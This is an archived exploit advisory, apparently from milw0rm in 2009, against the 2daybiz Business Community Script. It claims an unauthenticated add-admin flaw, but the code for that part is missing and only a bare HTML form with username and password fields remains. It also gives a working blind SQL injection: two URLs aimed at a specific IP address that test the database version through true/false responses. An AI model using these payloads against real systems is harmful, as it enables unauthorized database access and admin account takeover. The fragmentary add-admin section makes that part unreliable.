------------------------------------------------------------------------------------------------------------- 2daybiz Business Community Script (adminaddeditdetails.php) Add Admin / Remote Blind SQL Injection Exploit ---------------------------------------------------------------------------------------------------- Founder: TiGeR-Dz Script:Business Community Script Home:http://www.2daybiz.com/ Download:http://www.2daybiz.com/business_comm_download.html -------------------------------------------------------------------------------------------------- 1/Add Admin Exploit: ----------------------------------------------------------------

 

CoD3d By :TiGeR.dZ

--------------------------------------------------------------------------------------------------------------------------------------------------- 2/ Remote Blind SQL Injection Exploit: ------------------------------------------- Note: this gaps is Exist within the file of the control panel (adminaddeditdetails.php) :) 1/http://98.131.92.231/products/businesscommunity/admin/member_details.php?mid=1+and+substring(@@version,1,1)=4 False 2/http://98.131.92.231/products/businesscommunity/admin/member_details.php?mid=1+and+substring(@@version,1,1)=5 True ------------------------------------------------------------------------------------------------------------------------------------------ www.h4ckf0ru.com # ----------------------------------------------------------------------------------------------------------------------------------- # milw0rm.com [2009-05-14]
Add User
 
  Username
  Password
  Name
  Email